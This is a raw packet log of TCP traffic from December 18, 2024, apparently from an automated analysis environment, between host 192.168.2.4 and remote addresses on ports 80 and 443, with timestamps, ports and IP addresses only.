Dec 18, 2024 11:07:28.647341013 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.650059938 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.650420904 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.650485992 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.650567055 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.650635004 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.655958891 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.656033039 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.656112909 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.656183958 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.664120913 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.664177895 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.664206028 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.664242029 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.669117928 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.669229984 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.669230938 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.669311047 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.674047947 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.674151897 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.674180031 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.674248934 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.680382013 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.680453062 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.680489063 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.680561066 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.686557055 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.686670065 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.686734915 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.686832905 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.692635059 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.692718983 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.692785025 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.692850113 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.698436022 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.698527098 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.698600054 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.698667049 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.703747034 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.703886986 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.723381042 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.723438978 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.723521948 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.723618031 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.725256920 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.725311041 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.725321054 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.725379944 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.728967905 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.729053974 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.729063988 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.729113102 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.733066082 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.733145952 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.733217001 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.733295918 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.737051964 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.737121105 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.737165928 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.737220049 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.740417004 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.740473986 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.740556955 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.740619898 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.744239092 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.744297981 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.744313002 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.744368076 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.748040915 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.748101950 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.748117924 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.748177052 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.751934052 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.751988888 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.752053022 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.752109051 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.755721092 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.755789042 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.755801916 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.755860090 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.759639025 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.759694099 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.759732962 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.759792089 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.763289928 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.763359070 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.838560104 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.838607073 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.838659048 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.838709116 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.840827942 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.840912104 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.840958118 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.841020107 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.845033884 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.845091105 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.845175028 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.848372936 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.848427057 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.848433971 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.848479986 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.852209091 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.852263927 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.852291107 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.852340937 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.855833054 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.855900049 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.855978966 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.856056929 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.859652996 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.859715939 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.859864950 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.859987974 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.863380909 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.863442898 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.863473892 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.863540888 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.867542028 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.867618084 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.867667913 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.867727041 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.871452093 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.871520996 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.871558905 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.871612072 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.874648094 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.874735117 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.874752998 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.874818087 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.877679110 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.877752066 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.877774000 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.877841949 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.881149054 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.881220102 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.881267071 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.881341934 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.884202957 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.884270906 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.884316921 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.884371042 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.887159109 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.887218952 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.887257099 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.887311935 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.890374899 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.890444040 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.914716005 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.914753914 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.914792061 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.914822102 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.916063070 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.916126013 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.916131020 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.916198969 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.919039011 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.919111967 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.919198990 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.919276953 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.922030926 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.922101974 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.922122002 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.922184944 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.924987078 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.925044060 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.925075054 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.925256968 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.928441048 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.928498030 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.928509951 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.928559065 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.931440115 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.931498051 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.931577921 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.931649923 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.934396982 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.934453011 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.934514046 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.934647083 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.937000036 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.937064886 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.937109947 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.937163115 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.940073967 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.940129042 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.940136909 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.940184116 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.943248034 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.943303108 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.943368912 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.943370104 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.945915937 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.945985079 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.946085930 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.946150064 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.948911905 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.948975086 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.949064016 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.949119091 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.951873064 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.951935053 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.952008963 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.952317953 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.954803944 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.954869986 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.954962015 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.955018997 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.957866907 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.957904100 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.957931042 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.957961082 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.960844994 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.960902929 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.960916042 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.960959911 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.963747025 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.963814020 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.963872910 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.963936090 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.966779947 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.966820002 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.966936111 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.969750881 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.969789028 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.969820023 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.969855070 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:28.972665071 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:28.972734928 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.034619093 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.034647942 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.034712076 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.034738064 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.035923004 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.035979986 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.036042929 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.036098957 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.038826942 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.038885117 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.038886070 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.038938999 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.041769981 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.041826010 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.041892052 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.041943073 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.044552088 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.044608116 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.044698000 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.044764996 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.047596931 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.047672033 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.047745943 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.047801971 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.050322056 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.050389051 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.050436974 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.050491095 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.053174019 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.053229094 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.053247929 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.053293943 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.055924892 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.055999041 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.056008101 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.056083918 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.058588982 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.058665037 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.058717012 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.058778048 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.061548948 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.061605930 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.061641932 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.061685085 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.063906908 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.063973904 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.064011097 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.064073086 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.066262960 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.066325903 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.066378117 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.066472054 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.068763971 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.068856955 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.068928957 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.068999052 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.071352005 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.071423054 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.071466923 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.071517944 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.073698997 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.073771000 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.073848009 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.073910952 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.075752974 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.075824976 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.075901031 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.075965881 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.077956915 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.078039885 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.078095913 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.078222990 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.080518007 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.080575943 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.080584049 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.080631018 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.082425117 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.082479954 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.082494020 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.082542896 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.084778070 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.084815979 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.084840059 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.084868908 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.086774111 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.086843967 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.086863995 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.086934090 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.088967085 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.089030981 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.089046001 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.089102983 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.091195107 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.091264963 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.091336966 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.091398001 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.092641115 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.092705965 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.092734098 CET	80	49752	84.38.133.48	192.168.2.4
Dec 18, 2024 11:07:29.092798948 CET	49752	80	192.168.2.4	84.38.133.48
Dec 18, 2024 11:07:29.605180025 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:29.605236053 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:29.605484962 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:29.622454882 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:29.622473955 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:30.841131926 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:30.841248035 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:30.843880892 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:30.843899965 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:30.844185114 CET	443	49759	104.26.12.205	192.168.2.4
Dec 18, 2024 11:07:30.887723923 CET	49759	443	192.168.2.4	104.26.12.205
Dec 18, 2024 11:07:30.903805017 CET	49759	443	192.168.2.4	104.26.12.205
